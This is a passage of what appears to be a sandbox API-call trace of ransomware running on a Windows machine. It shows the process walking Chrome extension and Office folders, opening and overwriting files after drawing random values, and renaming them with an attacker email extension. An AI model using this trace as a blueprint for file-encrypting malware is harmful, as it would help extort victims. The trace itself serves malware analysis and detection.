Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" [0179.596] wcscat (in: _Dest=0x8f3eb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.mailto[2Hamlampampom@cock.li].cd46d" [0179.596] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x272fd64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0179.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a8) returned 0x929730 Thread: id = 7179 os_tid = 0x10e8 [0177.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0xd4d62d0 [0177.994] wcscpy (in: _Dest=0xd4d62d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" [0177.994] wcscat (in: _Dest=0xd4d62d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\" [0177.994] wcscat (in: _Dest=0xd4d62d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*" [0177.994] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x96a440 [0177.994] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93b5b8 [0178.544] wcscmp (_String1=".", _String2=".") returned 0 [0178.544] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0178.544] wcscmp (_String1="..", _String2=".") returned 1 [0178.544] wcscmp (_String1="..", _String2="..") returned 0 [0178.544] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0178.544] wcscmp (_String1="messages.json", _String2=".") returned 1 [0178.545] wcscmp (_String1="messages.json", _String2="..") returned 1 [0178.545] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x9a3800 [0178.545] wcscpy (in: _Dest=0x9a3800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo" [0178.545] wcscat (in: _Dest=0x9a3800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\" [0178.545] wcscat (in: _Dest=0x9a3800, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" [0188.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9a3800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0188.613] FindNextFileW (in: hFindFile=0x93b5b8, lpFindFileData=0x96a440 | out: lpFindFileData=0x96a440*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0188.613] FindClose (in: hFindFile=0x93b5b8 | out: hFindFile=0x93b5b8) returned 1 [0188.613] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96a440) returned 1 [0188.613] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d62d0) returned 1 [0188.613] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b42f0) returned 1 Thread: id = 7252 os_tid = 0x12b0 [0178.623] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json")) returned 0x2020 [0178.624] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json", dwFileAttributes=0x20) returned 1 [0179.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11c4 [0179.298] GetFileSizeEx (in: hFile=0x11c4, lpFileSize=0x37dff28 | out: lpFileSize=0x37dff28*=221) returned 1 [0179.298] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095f0 [0179.298] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909550 [0179.298] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909528 [0179.298] NtQuerySystemTime (in: CurrentTime=0x37dfe88 | out: CurrentTime=0x37dfe88*=132174899538922000) returned 0x0 [0179.298] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x783c93e0 [0179.298] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x66ad260f [0179.298] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x617bd0fe [0179.298] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x3a99798a [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x2d7f645d [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x153b0a23 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x4a1e7d5d [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x49db2f2f [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x73242ffb [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x2de7ed21 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x6456bec [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x7bc9d563 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x27217d7a [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x53397600 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x4caf6a3a [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0xf1e692b [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x1038c60f [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x1cfbc788 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0xd51b446 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x1345591a [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x5dae751a [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x2a3dd738 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x4fe0dd04 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x7e992718 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x6d9290e3 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x335d1402 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x63c25485 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x12acdafd [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x41f2fd4c [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x6f818d98 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x6c7e5018 [0179.299] RtlRandomEx (in: Seed=0x37dfe94 | out: Seed=0x37dfe94) returned 0x7c61c4fe [0179.314] ReadFile (hFile=0x11c4, lpBuffer=0x12e36810, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x37dfe84, lpOverlapped=0x0) [0179.315] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.315] WriteFile (in: hFile=0x11c4, lpBuffer=0x12e43018*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x37dfe80, lpOverlapped=0x0 | out: lpBuffer=0x12e43018*, lpNumberOfBytesWritten=0x37dfe80*=0xdd, lpOverlapped=0x0) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9094d8 [0180.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909578 [0180.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e43018) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e36810) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8a58) returned 1 [0180.789] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0180.789] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88f8 [0180.789] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.790] WriteFile (in: hFile=0x11c4, lpBuffer=0x12cf6210*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x37dfee8, lpOverlapped=0x0 | out: lpBuffer=0x12cf6210*, lpNumberOfBytesWritten=0x37dfee8*=0x10b, lpOverlapped=0x0) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6210) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909578) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909550) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909500) returned 1 [0180.795] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095a0) returned 1 [0180.795] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x91c4d8 [0180.795] wcscpy (in: _Dest=0x91c4d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" [0180.795] wcscat (in: _Dest=0x91c4d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0180.796] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x37dfea0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.796] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x9bfcf8 Thread: id = 7270 os_tid = 0xe14 [0179.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html")) returned 0x20 [0179.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html", dwFileAttributes=0x20) returned 0 [0179.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0179.211] GetLastError () returned 0x5 [0179.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html", dwFileAttributes=0x20) returned 0 [0179.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d44e0) returned 1 Thread: id = 7271 os_tid = 0x12f0 [0179.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html")) returned 0x20 [0179.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html", dwFileAttributes=0x20) returned 0 [0179.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0179.212] GetLastError () returned 0x5 [0179.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html", dwFileAttributes=0x20) returned 0 [0179.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd090) returned 1 Thread: id = 7294 os_tid = 0x1358 [0180.175] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json")) returned 0x2020 [0180.176] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json", dwFileAttributes=0x20) returned 1 [0185.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1174 [0185.795] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x2a4fa48 | out: lpFileSize=0x2a4fa48*=281) returned 1 [0185.795] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x115, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.795] ReadFile (in: hFile=0x1174, lpBuffer=0x2a4f9cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a4f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2a4f9cc*, lpNumberOfBytesRead=0x2a4f9c8*=0x4, lpOverlapped=0x0) returned 1 [0185.796] SetFilePointerEx (in: hFile=0x1174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.796] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5ff8 [0185.796] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b20 [0185.796] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fa8 [0185.796] NtQuerySystemTime (in: CurrentTime=0x2a4f9a8 | out: CurrentTime=0x2a4f9a8*=132174899603974000) returned 0x0 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x5d31b572 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x44f53491 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x7d0f6b22 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0xd81fd93 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x13e71fff [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x1214da5b [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0xc67b046 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x528fbc51 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x376dcfd9 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x31252856 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x40e2c7ff [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x7f3ecef2 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x5261519e [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x7294fdad [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x29f17931 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x66fa6171 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x37b10e8f [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x63241398 [0185.796] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x1a7b7f99 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x460ecc15 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0xc6b368d [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x5d66f95 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x3528429c [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x52f22aa6 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x688c9cc1 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x466c046a [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x7832eebb [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x3b07eed4 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x700defcc [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x62645f55 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x3cac98a8 [0185.797] RtlRandomEx (in: Seed=0x2a4f9b4 | out: Seed=0x2a4f9b4) returned 0x3229f023 [0185.810] ReadFile (hFile=0x1174, lpBuffer=0x12d0d810, nNumberOfBytesToRead=0x119, 